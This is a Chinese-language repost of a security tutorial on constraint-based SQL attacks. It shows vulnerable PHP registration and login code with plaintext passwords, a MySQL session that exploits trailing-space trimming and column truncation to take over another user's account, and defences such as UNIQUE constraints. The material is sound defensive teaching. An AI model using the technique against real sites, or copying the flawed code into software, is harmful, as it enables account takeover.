基於約束的SQL攻擊


前言

值得慶幸的是如今開發者在構建網站時,已經開始注重安全問題了。絕大部分開發者都意識到SQL注入漏洞的存在,在本文我想與讀者共同去探討另一種與SQL數據庫相關的漏洞,其危害與SQL注入不相上下,但卻不太常見。接下來,我將為讀者詳細展示這種攻擊手法,以及相應的防御策略。

注意:本文不是講述SQL注入攻擊

背景介紹

最近,我遇到了一個有趣的代碼片段,開發者嘗試各種方法來確保數據庫的安全訪問。當新用戶嘗試注冊時,將運行以下代碼:

<?php
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
          FROM users
          WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) > 0) {
    // User exists, exit gracefully
    .
    .
  }
  else {
    // If not, only then insert a new entry
    $query = "INSERT INTO users(username, password)
              VALUES ('$username','$password')";
    .
    .
  }
}

使用以下代碼驗證登錄信息:

<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
          WHERE username='$username'
              AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) > 0){
      $row = mysql_fetch_assoc($res);
      return $row['username'];
  }
}
return Null;

安全考慮:

  • 過濾用戶輸入參數了嗎? — 完成檢查

  • 使用單引號(’)來增加安全性了嗎? — 完成檢查

按理說應該不會出錯了啊?

然而,攻擊者依然能夠以任意用戶身份進行登錄!

攻擊手法

在談論這種攻擊手法之前,首先我們需要了解幾個關鍵知識點。

  1. 在SQL中執行字符串處理時,字符串末尾的空格符將會被刪除。換句話說“vampire”等同於“vampire ”,對於絕大多數情況來說都是成立的(諸如WHERE子句中的字符串或INSERT語句中的字符串)例如以下語句的查詢結果,與使用用戶名“vampire”進行查詢時的結果是一樣的。

SELECT * FROM users WHERE username='vampire     ';
  1. 但也存在異常情況,最好的例子就是LIKE子句了。注意,對尾部空白符的這種修剪操作,主要是在“字符串比較”期間進行的。這是因為,SQL會在內部使用空格來填充字符串,以便在比較之前使其它們的長度保持一致。

  2. 在所有的INSERT查詢中,SQL都會根據varchar(n)來限制字符串的最大長度。也就是說,如果字符串的長度大於“n”個字符的話,那么僅使用字符串的前“n”個字符。比如特定列的長度約束為“5”個字符,那么在插入字符串“vampire”時,實際上只能插入字符串的前5個字符,即“vampi”。

現在,讓我們建立一個測試數據庫來演示具體攻擊過程。

vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing;
Query OK, 1 row affected (0.03 sec)
mysql> USE testing;
Database changed

接着創建一個數據表users,其包含username和password列,並且字段的最大長度限制為25個字符。然后,我將向username字段插入“vampire”,向password字段插入“my_password”。

mysql> CREATE TABLE users (
    ->   username varchar(25),
    ->   password varchar(25)
    -> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
    -> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)

為了展示尾部空白字符的修剪情況,我們可以鍵入下列命令:

mysql> SELECT * FROM users
    -> WHERE username='vampire       ';
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)

現在我們假設一個存在漏洞的網站使用了前面提到的PHP代碼來處理用戶的注冊及登錄過程。為了侵入任意用戶的帳戶(在本例中為“vampire”),只需要使用用戶名“vampire[許多空白符]1”和一個隨機密碼進行注冊即可。對於選擇的用戶名,前25個字符應該只包含vampire和空白字符,這樣做將有助於繞過檢查特定用戶名是否已存在的查詢。

mysql> SELECT * FROM users
    -> WHERE username='vampire                   1';
Empty set (0.00 sec)

需要注意的是,在執行SELECT查詢語句時,SQL是不會將字符串縮短為25個字符的。因此,這里將使用完整的字符串進行搜索,所以不會找到匹配的結果。接下來,當執行INSERT查詢語句時,它只會插入前25個字符。

mysql>   INSERT INTO users(username, password)
    -> VALUES ('vampire                   1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
    -> WHERE username='vampire';
+---------------------------+-------------+
| username                  | password    |
+---------------------------+-------------+
| vampire                   | my_password |
| vampire                   | random_pass |
+---------------------------+-------------+
2 rows in set (0.00 sec)

很好,現在我們檢索“vampire”的,將返回兩個獨立用戶。注意,第二個用戶名實際上是“vampire”加上尾部的18個空格。現在,如果使用用戶名“vampire”和密碼“random_pass”登錄的話,則所有搜索該用戶名的SELECT查詢都將返回第一個數據記錄,也就是原始的數據記錄。這樣的話,攻擊者就能夠以原始用戶身份登錄。這個攻擊已經在MySQL和SQLite上成功通過測試。我相信在其他情況下依舊適用。

防御手段

毫無疑問,在進行軟件開發時,需要對此類安全漏洞引起注意。我們可采取以下幾項措施進行防御:

  1. 將要求或者預期具有唯一性的那些列加上UNIQUE約束。實際上這是一個涉及軟件開發的重要規則,即使你的代碼有維持其完整性的功能,也應該恰當的定義數據。由於’username’列具有UNIQUE約束,所以不能插入另一條記錄。將會檢測到兩個相同的字符串,並且INSERT查詢將失敗。

  2. 最好使用’id’作為數據庫表的主鍵。並且數據應該通過程序中的id進行跟蹤

  3. 為了更加安全,還可以用手動調整輸入參數的限制長度(依照數據庫設置)

文章參考自:https://dhavalkapil.com/blogs/SQL-Attack-Constraint-Based/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM